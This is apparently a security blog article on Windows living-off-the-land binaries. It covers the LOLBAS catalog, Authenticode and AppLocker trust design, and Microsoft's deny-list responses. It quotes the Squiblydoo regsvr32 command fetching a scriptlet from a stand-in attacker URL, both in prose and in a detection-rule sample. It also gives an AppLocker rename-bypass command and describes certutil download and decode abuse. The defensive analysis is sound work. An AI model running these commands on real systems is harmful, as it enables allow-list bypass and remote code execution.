Parag Mali - tag: detection-engineering

Living Off the Land on Windows: The LOLBin Catalog and the Structural Ceiling Microsoft Cannot Break

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**Living-off-the-land binaries (LOLBins) are Microsoft-signed Windows executables that attackers coerce into doing useful work** -- run scripts, fetch payloads, sidestep allow-lists. The community LOLBAS catalog lists 207 of them as of May 2026. Microsoft's App Control Recommended Block Rules deny about 40. The 167-binary gap is not a backlog. It is the structural ceiling: Windows administration *requires* powerful, signed, trusted utilities. This article traces the class from a 1996 Authenticode trade-off through Casey Smith's 2016 Squiblydoo, the 2018 founding of LOLBAS, and Microsoft's four-generation response, and argues the class is permanent.

1. The Four-Line Bypass That Cannot Be Patched

On April 19, 2016 [@attack-t1218-010], a researcher named Casey Smith published a four-line command on a personal Blogspot site. The command coerced a Microsoft-signed system binary into fetching and executing arbitrary JScript from an attacker-controlled URL, in memory, with nothing written to disk, on a Windows endpoint with AppLocker in enforce mode [@lolbas-regsvr32]. Ten years and three Microsoft defensive generations later, you can paste the same four lines into a default-configured Windows 11 box and watch it succeed. This article explains why.

The command is short enough to memorize:

regsvr32 /s /n /u /i:http\u003a//attacker/x.sct scrobj.dll

Every part of it is normal. regsvr32.exe is the operating system's COM registration utility, shipped in every Windows release since NT 4. The /i:URL switch is documented [@lolbas-regsvr32]: it passes an installation parameter to a COM scriptlet. scrobj.dll is the Microsoft Script Component runtime. The .sct extension is the documented Microsoft Script Component file format. Smith was not exploiting a buffer overflow or a logic flaw. He was using the binary the way Microsoft designed it.

What is not normal is who controls the URL. When regsvr32.exe fetches that .sct over HTTP and hands it to scrobj.dll, the scriptlet's body runs inside a Microsoft-signed parent process. The /s flag suppresses dialog boxes, /n tells regsvr32 not to call DllRegisterServer, and /u reverses the operation -- so no registry change persists. The result: arbitrary JScript or VBScript running as the logged-on user, parented to a binary the default AppLocker policy admits by publisher, with no file on disk and no registry breadcrumb. Smith published the technique on April 19, 2016; Carbon Black named it Squiblydoo in its April 28, 2016 threat advisory, and the MITRE ATT&CK page for the technique attributes the name to that advisory [@attack-t1218-010]. The trade press picked the name up within days: by April 29 The Register was running a headline about "hipster hackers" and routing readers to the Carbon Black writeup for the naming origin [@reg-squiblydoo].

The specific technique of abusing `regsvr32.exe` with the `/i:URL` switch to fetch and execute a remote COM scriptlet (`.sct` file) containing attacker-controlled JScript or VBScript. Disclosed by Casey Smith on April 19, 2016; named *Squiblydoo* by Carbon Black's April 28, 2016 threat advisory; tracked by MITRE ATT&CK as sub-technique T1218.010 [@attack-t1218-010]. sequenceDiagram participant User as User shell participant Regsvr32 as regsvr32.exe (signed) participant Scrobj as scrobj.dll (signed) participant Remote as Attacker HTTP server participant JScript as JScript engine User->>Regsvr32: regsvr32 /s /n /u /i:URL scrobj.dll Regsvr32->>Scrobj: Load COM scriptlet runtime Scrobj->>Remote: GET /x.sct Remote-->>Scrobj: scriptlet XML with embedded JScript body Scrobj->>JScript: Evaluate script body in-process JScript-->>User: Arbitrary code runs as the user

The reason this bypass is famous is not the technique. It is the invariance. Microsoft has shipped App Control for Business, the Recommended Block Rules deny list, Smart App Control, AMSI, the Windows Resiliency Initiative, and the Microsoft Vulnerable Driver Blocklist in the intervening decade [@ms-bypass-rules] [@ms-sac-overview] [@ms-driver-blocklist] [@ms-wri-nov2024]. None of those controls is enabled by default on a freshly installed Windows 11 Home or Pro endpoint, and none of them blocks Squiblydoo without administrator action. Casey Smith's command is the security industry's longest-lived working proof-of-concept against the defaults of a flagship operating system.

A defender watching this from an EDR console sees a specific shape: a parent process (often cmd.exe, explorer.exe, an Office app, or a script host) spawns regsvr32.exe, and the command line contains /i:http. That parent-child pattern plus a URL in the argument list is the entire detection surface. Most defenders write it as a Sysmon Event ID 1 (process create) rule.

{` // Simulated EDR rule: flag any child regsvr32.exe whose command line // references a remote URL. This is the canonical detection shape that // SOC analysts have been writing for ten years. function isSquiblydoo(event) { const child = (event.image || '').toLowerCase(); const cmd = (event.commandLine || '').toLowerCase(); if (!child.endsWith('\\regsvr32.exe')) return false; // /i:http or /i:https with a URL argument is the load-bearing signal. return /\/i:https?:\/\//.test(cmd); }

const sample = { image: 'C:\\Windows\\System32\\regsvr32.exe', parentImage: 'C:\\Windows\\System32\\cmd.exe', commandLine: 'regsvr32 /s /n /u /i:http\u003a//attacker.example/x.sct scrobj.dll' }; console.log('Squiblydoo match:', isSquiblydoo(sample)); `}

The detection works. It is also, by 2026, a checked box in every commercial EDR. The persistence of the bypass therefore raises two questions the rest of this article must answer. First: how can a ten-year-old, publicly-named, vendor-acknowledged technique still work on the default configuration of the world's most-deployed desktop operating system? Second: is regsvr32 an exotic one-off, or is Squiblydoo the visible tip of a structural class that runs the length of the Windows binary catalog? The honest answers sit at opposite ends of an architectural argument, and the road between them runs through a community catalog with 207 entries.

2. Five Years From Coined Phrase to Catalog

When did living off the land become a phrase defenders said out loud? The answer is a specific evening in Louisville, Kentucky. On September 27, 2013, at DerbyCon 3 ("All in the Family"), Christopher Campbell and Matt Graeber gave a talk titled Living off the Land: A Minimalist's Guide to Windows Post-Exploitation [@derbycon3-lol]. Their argument: an attacker on a Windows host could persist, escalate, pivot, and exfiltrate without dropping a single binary -- using only pre-installed signed Microsoft tools (wmic, netsh, powershell, scheduled tasks). Antivirus and host-intrusion-prevention products in 2013 were optimized to catch unsigned, third-party code. Campbell and Graeber pointed out that the entire offensive toolkit could be assembled out of vendor-supplied parts.

The phrase entered defender vocabulary, but the catalog did not exist yet. What happened between 2013 and 2018 was a slow accumulation of disclosures -- each one a Microsoft-signed binary, each one with a documented feature an attacker could repurpose [@enigma0x3-dnx] [@enigma0x3-rcsi] [@lolbas-msbuild] [@lolbas-installutil]. Casey Smith's April 2016 Squiblydoo [@attack-t1218-010] was followed by his MSBuild inline-task bypass [@lolbas-msbuild], his InstallUtil /U bypass [@lolbas-installutil], and a series of related developer-utility disclosures. Matt Nelson added dnx.exe on November 17, 2016 [@enigma0x3-dnx] and rcsi.exe four days later [@enigma0x3-rcsi]. By the end of 2016 a generic pattern was visible: any Microsoft-signed binary that could compile, interpret, deserialize, or fetch arbitrary content was a candidate.

In 2017-2018 the framing crystallized. Matt Graeber and Casey Smith spoke at BlueHat IL 2017; the conference materials sit in a community mirror that catalogs the session as a Graeber + Smith Windows trust talk [@bluehat-il-mirror]. The canonical Subverting Trust in Windows writeup came a year later, from Matt Graeber and Lee Christensen (SpecterOps), at TROOPERS 2018 -- it named misplaced trust as the mismatch between the binary is signed by Microsoft and the binary's behavior is trustworthy when handed attacker-controlled arguments [@specterops-subverting-trust]. The same year, Symantec's ISTR special report brought "living off the land" into the CISO vocabulary at scale [@symantec-istr-lotl]. The technique class was understood; what was missing was a name and a list.

The naming happened in 2018, on Twitter, in a six-week burst that the LOLBAS README still preserves as the project's origin story [@lolbas-github]. On March 1, 2018 (UTC; the LOLBAS README dates this to February 28 in the poster's local timezone), Philip Goh proposed the acronym LOLBins -- Living-Off-the-Land Binaries. On April 13, 2018 (UTC; the LOLBAS README dates this to April 14 in the poster's local timezone), Jimmy Bayne proposed LOLScripts for the script-host equivalent (no poll was taken). On April 15, Oddvar Moe ran a ratification poll asking the community to choose between LOLBin and LOLBas; LOLBin won with 69 percent of the vote. Three days later, on April 18, 2018 at 10:04:50 UTC, Moe created the GitHub repository api0cradle/LOLBAS [@lolbas-api0cradle]. On June 8 the project moved to its organization-owned successor LOLBAS-Project/LOLBAS [@lolbas-org-api]. The catalog was live, versioned, and pull-request-driven.

The Goh proposal, the Bayne proposal, and the Moe poll were all on what is now X. The original tweets sit behind a login wall today, but the LOLBAS README preserves the full chain of attribution and links the exact tweet IDs. Decoding the linked Twitter snowflakes yields UTC timestamps for the Goh and Bayne tweets that land one day after the LOLBAS-attributed local-time dates (March 1 and April 13 UTC, respectively); the article's prose uses the UTC dates because they are the only timestamps that are independently verifiable from the snowflake.

Two more 2018 events matter. On August 17, 2018, Matt Graeber posted Arbitrary Unsigned Code Execution Vector in Microsoft.Workflow.Compiler.exe; the article appeared first on Medium and was republished on SpecterOps, and the LOLBAS Microsoft.Workflow.Compiler entry preserves the disclosure chain via the linked tweet and the SpecterOps URL in its Resources field [@lolbas-mwc]. The technique showed that a binary nobody had heard of -- the .NET Workflow Foundation rules compiler -- could compile and execute arbitrary unsigned C# given a crafted XOML file. The disclosure was important not for its novelty but for its obscurity: if Microsoft.Workflow.Compiler.exe was a LOLBin and nobody knew, how many other unscanned-for binaries shipped with the same primitive? The question would drive the catalog's growth over the next eight years.

The other event was the foundational talk. At DerbyCon 8 in Louisville, Kentucky, in October 2018, Oddvar Moe gave a presentation titled #LOLBins -- Nothing to LOL about! [@derbycon8-moe]. The LOLBAS README itself names this as the project's foundational talk [@youtube-moe-lolbins] [@lolbas-github], not the BlueHat IL 2019 session that some later secondary sources cite. By the project's own retrospective, the talk introduced the catalog to a wider audience and aligned the community around the inclusion criteria and YAML schema that govern the project today.

timeline title LOLBin coinage and catalog, 2013 to 2018 2013-09-27 : DerbyCon 3 Campbell and Graeber coin "living off the land" 2016-04-19 : Casey Smith publishes Squiblydoo (regsvr32 + COM scriptlet) 2016-11 : Matt Nelson publishes dnx and rcsi bypasses 2017 : Graeber and Smith speak at BlueHat IL 2017 2018-03-01 : Philip Goh proposes "LOLBins" on Twitter (UTC) 2018-03 : Graeber and Christensen present Subverting Trust in Windows at TROOPERS 2018-04-13 : Jimmy Bayne proposes "LOLScripts" (UTC) 2018-04-15 : Oddvar Moe poll ratifies "LOLBin" with 69 percent 2018-04-18 : api0cradle/LOLBAS GitHub repo created 2018-06-08 : LOLBAS-Project organization repo created 2018-08-17 : Matt Graeber discloses Microsoft.Workflow.Compiler.exe 2018-10 : Oddvar Moe DerbyCon 8 "#LOLBins -- Nothing to LOL about!" A Living-Off-the-Land Binary: a Microsoft-signed Windows executable, either native to the operating system or downloaded from Microsoft, that has "extra unexpected functionality" useful to an attacker or red team -- typically the ability to execute, download, encode, decode, compile, or otherwise weaponize attacker-controlled content. The term was ratified by community poll in April 2018; the canonical catalog is the LOLBAS project [@lolbas-github].

Five years from coined phrase to versioned, community-edited catalog. What took five years was not the technique -- the technique was already there in 2013, and Casey Smith had publicly demonstrated three flavors of it by the end of 2016. What took five years was naming the class. The naming mattered because it turned a stream of one-off disclosures into a defensible artifact: a list a SOC could subscribe to, a schema a detection engineer could parse, and -- as the next section argues -- a body of evidence for an architectural claim about Windows that nobody had yet been willing to articulate out loud. Why does the technique class exist? The answer is a 1996 design decision.

3. The Two Trust Axes Microsoft Decoupled in 1996

Why does the default AppLocker policy admit every Microsoft-signed binary on the disk? Because Microsoft made a deliberate trade-off in 2009, and that trade-off inherits an even deeper trade-off from 1996.

Start with the 1996 trade-off. Authenticode shipped with Internet Explorer 3.0 to answer one question: was this code signed by a party I trust? [@ms-crypto-tools] [@ms-authenticode-1996]. The mechanism is short to describe. A publisher (Microsoft, Adobe, the local IT shop) signs an executable's hash with a private key whose certificate chains to a root the operating system trusts. The signature travels with the file. At load time, Windows recomputes the hash, validates the signature, walks the certificate chain, and reports the verified publisher to whichever caller asked. That is the whole protocol.

Microsoft's code-signing scheme, shipped with Internet Explorer 3.0 in 1996 [@ms-authenticode-1996]. Authenticode binds a publisher identity to a binary's hash via an X.509 certificate chain. Validation answers *who signed this file and was it modified after signing?* It does not -- and cannot -- describe what the file does when executed [@ms-crypto-tools].

Notice what Authenticode does not answer. It says nothing about what the binary does at runtime. It does not describe which APIs the binary calls, what arguments those calls accept, whether the binary loads external content, or whether the binary's documented behavior includes "execute attacker-controlled JScript fetched over HTTP." Authenticode signs; it does not characterize. That distinction is not a defect in the design -- it is the design. A signature scheme that tried to formally describe runtime behavior would need a semantic model of every signed program, which is the kind of problem theoretical computer science has spent fifty years calling undecidable.

Thirteen years later, in October 2009, AppLocker shipped with Windows 7 [@ms-applocker-overview]. AppLocker introduces publisher rules, path rules, and hash rules as the first-class Windows application-allow-list primitive. The interesting one is the publisher rule. AppLocker's default rule template admits every executable under %windir% or %programfiles% via three path-based rules (one each for executables, scripts, and Windows Installer files) [@ms-applocker-default-rules] -- which is where Microsoft's tens of thousands of signed binaries live -- and the canonical managed deployment adds a publisher rule that explicitly trusts the Microsoft signer chain [@ms-applocker-overview]. Either way, the practical effect is the same: every Microsoft-signed binary on a default Windows install inherits broad trust.

The Windows 7 application-allow-list feature (shipped October 22, 2009) that admits or denies binary execution based on publisher signature, file path, or file hash rules. The default rules are path-based and admit every executable under `%windir%` or `%programfiles%` [@ms-applocker-default-rules]; canonical managed deployments add a publisher rule that trusts the Microsoft signer chain. Microsoft's own documentation now describes AppLocker as "a defense-in-depth security feature and not considered a defensible Windows security feature" [@ms-applocker-overview]; App Control for Business is the modern successor.

Why the default rule? Because the alternative -- a hash-by-hash allow list of every Microsoft-signed file -- breaks the day Patch Tuesday ships a new build of mshtml.dll or cmd.exe. A hash allow list at the scale of Windows is not maintainable. A path allow list is bypassed by file copy. The publisher rule is the only choice that makes the system deployable in a large enterprise without an army of administrators rebuilding policy XML every month. AppLocker's default rule was, by any pragmatic measure, the right call.

But that call inherits Authenticode's blindness. AppLocker decides whether a signed binary may run; Authenticode decides whether the signature is valid. Neither layer knows what the binary does. The two systems live on orthogonal trust axes:

flowchart LR A["Authenticode signing
Who signed this binary?"] --> B["AppLocker policy
Is this publisher allowed?"] B --> C["Binary loads and runs"] C --> D["Runtime behavior
What does this binary do with arguments?"] D -. unmeasured .-> E["Attacker-controlled script,
DLL, XOML, or URL is executed"] style D stroke:#888,stroke-dasharray: 5 5 style E stroke:#c33,stroke-width:2px

The point of the diagram is the dotted edge. There is no measurement of D before C. The control plane stops at the signature check, and the runtime behavior is the attacker's playground. That gap is exactly where Squiblydoo lives. regsvr32.exe is Microsoft-signed (Authenticode says yes). It is on the default AppLocker publisher rule (AppLocker says yes). It has a documented /i:URL switch that loads remote scriptlets (no layer measures this). The attacker supplies the URL.

Key idea: Signature trust answers who signed this?. It cannot answer what does this binary do at runtime?. The LOLBin class is the runtime consequence of treating those as the same question.

This is the structural error -- and "error" is the wrong word, because it was a deliberate, documented trade-off both times. Authenticode in 1996 chose publisher identity over behavioral semantics because behavioral semantics is undecidable. AppLocker in 2009 chose publisher rules over hash rules because hash rules do not survive Patch Tuesday. Both choices were correct on their own terms. The LOLBin class is what happens when you compose two locally-correct choices and discover that the composition has a property neither original choice predicted.

Microsoft itself acknowledges the limit in writing. The current Microsoft Learn AppLocker overview contains the verbatim admission: AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature [@ms-applocker-overview]. The same documentation names App Control for Business as the modern successor and routes new deployments there.

AppLocker is a defense-in-depth security feature and not considered a defensible Windows security feature. -- Microsoft Learn, AppLocker overview [@ms-applocker-overview]

The structural argument from this section is the rest of the article's load-bearing premise. If signature trust is decoupled from behavior trust by construction, then for every Microsoft-signed binary that exposes a "load and execute arbitrary script, DLL, or payload" surface there exists a LOLBin disclosure waiting to be discovered. The question becomes empirical: how many such binaries are there? In 2018 nobody knew. By May 2026 the LOLBAS catalog has counted 207, and the count is still growing.

4. The LOLBAS Catalog as a Data Structure

Most security catalogs are PDFs. LOLBAS is something different. It is a YAML file directory, a function taxonomy, an ATT&CK mapping, a pull-request contract, and a rendered frontend -- all on GitHub. To understand the LOLBin problem in 2026 you have to understand the catalog as an artifact the defender community built, not just a list of binaries.

The repository at LOLBAS-Project/LOLBAS [@lolbas-github] organizes its entries into four directories on disk, each with a per-entry YAML file. The May 2026 breakdown:

Directory	Count	What it holds
`yml/OSBinaries/`	130	Native Windows-shipped executables (`regsvr32`, `rundll32`, `mshta`, `certutil`, ...)
`yml/OtherMSBinaries/`	77	Microsoft-signed executables downloadable from Microsoft (Visual Studio, SDK, optional features)
`yml/OSLibraries/`	17	DLLs that can be loaded as LOLBin payloads (the LOLLib subclass)
`yml/OSScripts/`	10	Microsoft-shipped scripts (the LOLScript subclass)
Total	234	207 binaries plus 27 libraries and scripts

A Living-Off-the-Land Script: a Microsoft-signed script file (typically `.vbs`, `.js`, `.ps1`, or `.bat`) shipped with Windows that an attacker can invoke for proxy execution, file download, or privilege manipulation. LOLScripts are tracked in the `yml/OSScripts/` directory of the LOLBAS repository [@lolbas-github]. The companion category for DLLs is *LOLLib*.

The 207-binary figure is the one that matters for the architectural argument later, and it is not folklore. It is a primary-source count derived by enumerating the four directory listings against the live repository on May 26, 2026 [@lolbas-org-api]. The repository as of that date has 8,567 stars and 1,135 forks.

Each entry follows a strict YAML schema [@lolbas-yml-template]. The mandatory fields are Name, Description, Author, Created, one or more Commands blocks, Full_Path, Code_Sample, Detection, Resources, and Acknowledgements. Inside each Commands block sits the function taxonomy that defenders read first.

flowchart TD Entry["YAML entry: Name
Description, Author, Created"] Entry --> Commands["Commands[]"] Commands --> C1["Command 1: command-line invocation"] Commands --> C2["Command 2: command-line invocation"] C1 --> Use["Use: plain-English description"] C1 --> Category["Category: Execute, Download, Compile, AWL Bypass, ..."] C1 --> Priv["Privileges: User or Admin"] C1 --> Mitre["MitreID: T1218.010, T1127.001, ..."] Entry --> Paths["Full_Path[]: where the binary lives on disk"] Entry --> Detect["Detection[]: vendor-curated detection links"] Entry --> Refs["Resources[]: primary disclosures and writeups"] Entry --> Ack["Acknowledgements[]: credited researchers"]

The function taxonomy is a closed set of eleven categories: Execute, Download, Copy, Encode, Decode, Compile, Credentials, AWL Bypass, AWL Bypass + UAC Bypass, Reconnaissance, and Dump. Every command in the catalog carries exactly one of those tags. The vocabulary is small because the surface is small. A Microsoft-signed binary, by definition, was not designed to do these things, so the abuse primitives concentrate at a small number of recognizable shapes.

The gate that decides whether a binary is admitted to the catalog is published verbatim in the repository README [@lolbas-github]:

Must be a Microsoft-signed file, either native to the OS or downloaded from Microsoft. Have extra 'unexpected' functionality. ... Have functionality that would be useful to an APT or red team. -- LOLBAS criteria [@lolbas-github]

The two clauses do most of the project's editorial work. The first clause -- Microsoft-signed, native or downloaded from Microsoft -- is what aligns the catalog with the AppLocker default publisher rule from Section 3. A binary that does not pass that gate is somebody else's problem (probably an EV-certificate review). The second clause -- extra unexpected functionality, useful to an APT or red team -- is what excludes binaries whose abuse pattern is documented behavior nobody disputes (cmd.exe running a script is not a LOLBin; regsvr32.exe fetching a script from http:// is).

Governance is pull-request-driven and run by a named maintainer group: Oddvar Moe (the original creator), Jimmy Bayne, Conor Richard, Chris "Lopi" Spehn, Liam Somerville, Wietze Beukema, and Jose Hernandez [@lolbas-github]. The model is the one Linux distributions use for package metadata: a small editorial board, public submission, public review, semver-style additions. The repository receives regular pull requests; the May 2026 commit log shows entries dated 2026 alongside the 2018 founders [@lolbas-org-api]. The rendered frontend at lolbas-project.github.io exposes the same data as a browsable per-binary site [@lolbas-frontend].

The LOLBAS frontend at lolbas-project.github.io is visually modelled on GTFOBins, the Unix analogue maintained by Andrea Cardaci and Emilio Pinna [@gtfobins]. The LOLBAS README explicitly thanks GTFOBins for the rendering pattern. The two projects share the same conceptual move -- a community catalog of vendor-shipped utilities with attacker-useful side effects -- applied to different platforms.

The catalog's status as a data structure is what distinguishes it from a textbook chapter. Splunk's Threat Research team publishes detection content keyed directly to LOLBAS entries [@splunk-detection]; the MITRE ATT&CK pages for T1218, T1216, T1127, T1197, T1140, and T1105 cite individual LOLBAS pages as primary references [@attack-t1218]; CISA's joint LOTL guidance with the NSA, FBI, ASD/ACSC, NCSC-UK, and others mirrors the LOLBAS structure in its detection annexes [@cisa-lotl]. The catalog is the canonical input to every downstream defense product that takes LOLBins seriously.

Two hundred and seven binaries. The next question is the question every defender asks the first time they look at the list: of those 207, which ones actually show up in real incidents, and what makes the recurring offenders special? That is the field guide.

5. The Canonical Eight: A Field Guide

Of the 207 binaries in the LOLBAS catalog, eight anchor most real-world incidents. Each one tells the same story: a Microsoft-signed utility doing what it was designed to do, with attacker-controlled arguments. These eight are the canonical introduction to the class, the binaries every SOC writes detections for first, and the binaries Microsoft's Recommended Block Rules either deny by default or pointedly do not.

Binary	First disclosed	Abuse primitive	MITRE ATT&CK	On App Control deny list?
`regsvr32.exe`	Casey Smith, 2016-04-19	Squiblydoo: remote `.sct` via `/i:URL`	T1218.010 [@attack-t1218-010]	No
`rundll32.exe`	Multiple disclosures	Load and invoke any exported DLL function	T1218.011 [@attack-t1218-011]	No
`mshta.exe`	Pre-LOLBAS, IE5 era	Run JScript or VBScript from `.hta` file or URL	T1218.005 [@attack-t1218-005]	Yes
`certutil.exe`	Pre-LOLBAS folklore	`-urlcache` download, `-decode` payload decoder	T1140, T1105	No
`bitsadmin.exe`	Pre-LOLBAS folklore	BITS-channel download primitive	T1197 [@attack-t1197]	No
`msbuild.exe`	Casey Smith, 2016	Inline-task compile-and-run C#	T1127.001 [@attack-t1127]	Yes, with caveat
`installutil.exe`	Casey Smith, 2016	`/U` invokes `[RunInstaller(true)]` class	T1218.004 [@attack-t1218-004]	Yes (unconditional)
`Microsoft.Workflow.Compiler.exe`	Matt Graeber, 2018-08-17	XOML-driven C#/VB.NET compile-and-execute	T1127 [@attack-t1127]	Yes

The table looks orderly. The pattern inside it is not.

regsvr32.exe is the article's opening case, the most famous LOLBin in history, and -- conspicuously -- not on the App Control Recommended Block Rules deny list [@ms-bypass-rules]. The reason is operational. regsvr32 is the OS-bundled mechanism for installing and uninstalling COM servers; denying it would break legacy installers, in-place upgrades of components like ODBC drivers, and a broad sweep of administrative tooling. Microsoft's choice is to detect Squiblydoo via behavioral signals (parent-child anomaly, /i:http argument) rather than deny the binary outright.

The conspicuous absence of regsvr32.exe from the Recommended Block Rules is one of the most-revealing facts in the LOLBin literature. Microsoft is saying, in policy form: we cannot take this binary off the disk, we cannot deny it at App Control, and we trust your EDR or your ASR rules to catch the abusive invocations. The detection burden is structurally transferred from the platform to the customer.

rundll32.exe is the longest-lived AWL bypass primitive in the catalog. Almost every COM out-of-process invocation in Windows uses it, and many shell namespace extensions invoke it. Denying rundll32.exe would render the desktop nearly inoperable. It is, like regsvr32, on the detect, do not deny side of the line.

mshta.exe is on the Recommended Block Rules list. Microsoft can deny it because HTA files are a 1999 technology (the HTML Application format was introduced with Internet Explorer 5 [@ms-hta-overview]) and the platform no longer requires mshta.exe to be functional for routine operation [@ms-bypass-rules].

`mshta.exe` -- Microsoft HTML Application Host -- ships with every modern Windows release. The binary's reason for existing was Internet Explorer's HTML Application (HTA) format, introduced with Internet Explorer 5 in 1999, so administrators could write GUI applications in HTML, CSS, and JScript without an IDE [@ms-hta-overview]. Internet Explorer 11 was retired on June 15, 2022 [@ms-ie11-lifecycle]. HTA support remains, because removing it would break a long tail of internal corporate tooling. `mshta.exe` is the canonical example of a binary that outlived its motivating product by more than two decades and now exists primarily so attackers can run JScript in a signed process.

certutil.exe is one of the field's quiet recurring offenders. Two switches drive most of its abuse: -urlcache -split -f downloads an arbitrary URL to disk, and -decode decodes Base64 or hex payloads. Neither is documented as a security feature; both are necessary for legitimate certificate-management workflows. certutil is not on the App Control deny list.

bitsadmin.exe and its PowerShell sibling Start-BitsTransfer drive downloads through the Background Intelligent Transfer Service, the same channel Windows Update uses. The traffic looks like normal Windows traffic at the network layer. BITS Jobs is tracked as T1197 [@attack-t1197]. bitsadmin.exe is not on the deny list either.

msbuild.exe is the most interesting case in the table because Microsoft's response is published verbatim and is context-dependent. The Recommended Block Rules entry for msbuild.exe reads:

If you're using your reference system in a development context and use msbuild.exe to build managed applications, we recommend that you allow msbuild.exe in your code integrity policies. Otherwise, we recommend that you block msbuild.exe. -- Microsoft Learn, Applications that can bypass App Control [@ms-bypass-rules]

That single sentence is the structural argument from Section 9 in microcosm. The deny list cannot decide for itself whether msbuild.exe is a LOLBin; the answer depends on whether the endpoint is a developer workstation.

installutil.exe is the .NET Framework installer-class entry-point runner. Casey Smith's 2016 disclosure showed that installutil.exe /U mybinary.exe invokes any class decorated with [System.ComponentModel.RunInstaller(true)], regardless of whether that class is part of an installer. The technique is documented at LOLBAS [@lolbas-installutil] and tracked as T1218.004 [@attack-t1218-004]. installutil.exe is on the App Control deny list, unconditionally (any version) [@ms-bypass-rules], in contrast to msbuild.exe's development-context caveat. That installutil.exe is denied by default and the LOLBin class persists anyway is the strongest small evidence that revocation is not the same as elimination.

Microsoft.Workflow.Compiler.exe, also known as wfc.exe, is the canonical worst case. The binary is part of .NET Workflow Foundation. It accepts a pair of file arguments -- an input file (any extension; LOLBAS lists XOML as the canonical form) containing a CompilerInput XML element with the attacker's C# or VB.NET source, and a log-file output path. The compiler compiles the embedded source and executes it in-process [@lolbas-mwc]. LOLBAS tracks it under T1127 (Trusted Developer Utilities Proxy Execution) [@attack-t1127], alongside msbuild.exe, dnx.exe, and rcsi.exe. Matt Graeber's August 17, 2018 disclosure [@lolbas-mwc] demonstrated end-to-end unsigned-C# execution via a single command line. It is on the App Control Recommended Block Rules list [@ms-bypass-rules]. Microsoft cannot remove the binary from Windows without breaking Workflow Foundation, but it can pin it as denied-by-default and direct developers who need it to allow-list it explicitly.

The abuse chain in which `Microsoft.Workflow.Compiler.exe` (a .NET Workflow Foundation utility, also distributed as `wfc.exe`) is invoked with an attacker-supplied input file -- any extension, canonical form XOML -- that contains a `CompilerInput` XML element holding C# or VB.NET source, plus a log-file output path. The compiler compiles the embedded source and executes the resulting assembly in-process. Disclosed by Matt Graeber on August 17, 2018 [@lolbas-mwc]. Now denied by default in Microsoft's App Control Recommended Block Rules [@ms-bypass-rules].

Notice the pattern across the eight: each binary is either on the Recommended Block Rules or it isn't, and the binaries that are not on the list are the ones administrators cannot live without. The deny list, in other words, is bounded: not by Microsoft's diligence, but by what Windows administration requires. How bounded? That is Section 6.

6. The Defensive Patchwork: Four Generations of Response

If you tried to fix Squiblydoo in 2016, the only primitive available was a per-binary AppLocker Deny rule. You wrote a rule that named regsvr32.exe, you deployed it via Group Policy, and you watched an attacker bypass it by copying the binary to a writable directory and renaming it. Microsoft's response over the following eight years can be told as four generations of control. Each one closes a specific bypass class in the previous. None touches the defining property of the class itself.

Generation 0: Software Restriction Policies (2001-2009)

Before AppLocker there was Software Restriction Policies (SRP), introduced with Windows XP and Windows Server 2003. SRP supported hash and path rules but had no first-class publisher rule. The policy language could not express trust anything signed by Microsoft. At enterprise scale, SRP was unmaintainable. AppLocker explicitly superseded it; Microsoft now directs new deployments to AppLocker and App Control for Business rather than SRP [@ms-applocker-overview]. Generation 0 failed not because it was bypassed but because it was undeployable.

Generation 1: AppLocker with the default Microsoft publisher rule (2009-2017)

AppLocker, as Section 3 described, made application allow-listing deployable by introducing the publisher rule and pre-populating the default rule set to admit Microsoft-signed binaries [@ms-applocker-overview]. Squiblydoo (April 19, 2016) was the existence proof that the default rule was simultaneously necessary for deployment and insufficient for security. The standard mitigation in this era -- write a per-binary AppLocker Deny rule for regsvr32.exe, mshta.exe, and friends -- ran into a concrete worked counterexample:

The AppLocker rename bypass is as simple as copy %WINDIR%\System32\regsvr32.exe %TEMP%\sysadmin-helper.exe. The copied file retains its Authenticode signature (which signs the file bytes, not the filename). The default Microsoft-publisher allow rule admits the renamed copy. A Deny rule keyed to the original path or name silently fails. This is the bypass that motivated WDAC's move to kernel-mode signature evaluation and hash-revocation rules.

A Deny rule keyed by path or filename loses to file copy. A Deny rule keyed by file hash loses the day Microsoft ships a new build on Patch Tuesday. AppLocker's policy language could express either constraint but not both at once. Neither held up against a determined attacker.

Generation 2: App Control for Business with Recommended Block Rules (2017-present)

Generation 2 is what most enterprises deploy today. Windows Defender Application Control (WDAC) shipped with Windows 10 1709 in October 2017, evolved out of Device Guard's Code Integrity Policies, and was rebranded App Control for Business in the 2023-2024 documentation cycle [@ms-appcontrol-overview]. The system enforces signature-and-policy evaluation in kernel mode. The rename bypass that defeated AppLocker stops at the kernel boundary, because the kernel evaluates the file's signature and hash independently of its path.

The Microsoft kernel-mode application-control system formerly known as Windows Defender Application Control (WDAC). Ships with Windows 10 1709 and later. Policies are signed XML files that admit or deny binaries by signer, hash, file attribute, or path; the policy engine is enforced by the kernel's Code Integrity subsystem [@ms-appcontrol-overview]. The successor to AppLocker for managed enterprise deployments. A Microsoft-curated, version-pinned XML deny list shipped via Microsoft Learn that App Control administrators merge into their base policy. As of 2026 the list denies roughly 40 binaries -- including `mshta.exe`, `Microsoft.Workflow.Compiler.exe`, conditionally `msbuild.exe`, and the older `system.management.automation.dll` versions that allowed PowerShell Constrained Language Mode bypass [@ms-bypass-rules]. The deny list grows as new bypasses are disclosed; addition lag is months to years.

Generation 2 closed the per-name rename bypass and gave Microsoft a publication surface for revoking individual LOLBins. The deny list itself acknowledges the version-pinning problem in a dated breadcrumb on the Microsoft Learn page: as of October 2017, system.management.automation.dll is updated to revoke earlier versions by hash values, instead of version rules [@ms-bypass-rules]. Revocation is applied case-by-case, not globally. What Generation 2 did not close was the catalog-vs-deny-list coverage gap (see Section 8 for the side-by-side count). The Recommended Block Rules name roughly 40 binaries; the LOLBAS catalog enumerates 207. The residual is unaddressed by default.

Generation 3: Smart App Control (2022-present)

Smart App Control (SAC) is Microsoft's reputation-and-AI gate for unmanaged consumer and small-business endpoints. It ships with clean installations of Windows 11 22H2 and later. It runs in an evaluation mode that silently observes the user's behavior and either transitions to enforce mode or silently disables itself depending on whether the observed activity is consistent with a managed-enough device [@ms-sac-overview]. The disable was originally one-way; the Definition below covers the recently-added in-place re-enable path [@ms-sac-support].

A Windows 11 22H2+ reputation-based application-gating feature that admits or blocks applications by Microsoft cloud lookup, with an AI classifier as a fallback. SAC ships in evaluation mode on clean installs only; it either transitions to enforcement or silently disables itself based on observed device usage [@ms-sac-overview]. Until recently a disabled SAC could only be revived by reinstalling Windows; a recent Windows cumulative update added an in-place re-enable path inside the Windows Security app [@ms-sac-support]. The silent disable itself remains.

